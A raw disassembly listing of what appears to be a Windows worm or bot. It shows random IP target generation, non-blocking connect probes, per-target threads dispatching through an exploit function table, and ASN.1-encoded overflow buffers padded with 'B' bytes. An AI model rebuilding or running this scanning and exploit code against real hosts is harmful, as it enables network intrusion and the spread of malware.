		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26B0735h
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 26A0000h
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		call	near ptr 2700000h
		nop


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		nop
		call	near ptr 270077Eh
		push	80000400h
		push	esi
		nop
		call	near ptr 270052Ch
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		call	near ptr 270077Eh
		nop


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0ADE85757h,	90022936h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 88E890FCh, 0FF022737h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 2935BBE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 98E80875h, 90022736h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
